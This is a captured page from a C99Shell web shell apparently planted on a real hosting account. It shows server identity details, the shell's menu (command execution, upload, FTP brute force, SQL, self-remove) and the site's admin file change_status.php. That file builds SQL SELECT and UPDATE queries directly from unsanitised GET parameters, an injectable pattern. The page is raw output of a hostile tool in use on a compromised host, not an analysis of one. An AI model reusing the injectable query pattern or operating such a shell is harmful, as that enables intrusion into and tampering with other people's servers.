!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/home/www/jothidam.tv/alpblog/admin/   drwxr-xr-x
Free 3289.08 GB of 8045.55 GB (40.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     change_status.php (1.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("include/conn.php");

if (isset(
$_GET['art_id'])) {
    
$art_id $_GET['art_id'];

    
// Check if the profile exists
    
$checkSql "SELECT * FROM `articles` WHERE art_id = $art_id";
    
$checkResult mysqli_query($conn$checkSql);
    
$profileExists mysqli_num_rows($checkResult) > 0;

    if (
$profileExists) {
        
// Display confirmation message
        
echo "<script>
            if (confirm('Are you sure you want to Change the status of this Article?')) {
                window.location.href = 'change_status.php?change=
$art_id';
            } else {
                window.location.href = 'articles.php';
            }
        </script>"
;
    } else {
        echo 
"Article not found.";
    }
} elseif (isset(
$_GET['change'])) {
    
$art_id $_GET['change'];

    
$sql "UPDATE `articles` SET `art_status`=1 WHERE art_id = $art_id";
    
$result mysqli_query($conn$sql);

    if (
$result) {

            echo 
"<script>alert('Articles Status Change successfully!');</script>";
            echo 
"<script>window.location.href ='articles.php';</script>";
        
    } else {
        echo 
"Delete error: " mysqli_error($conn);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0116 ]--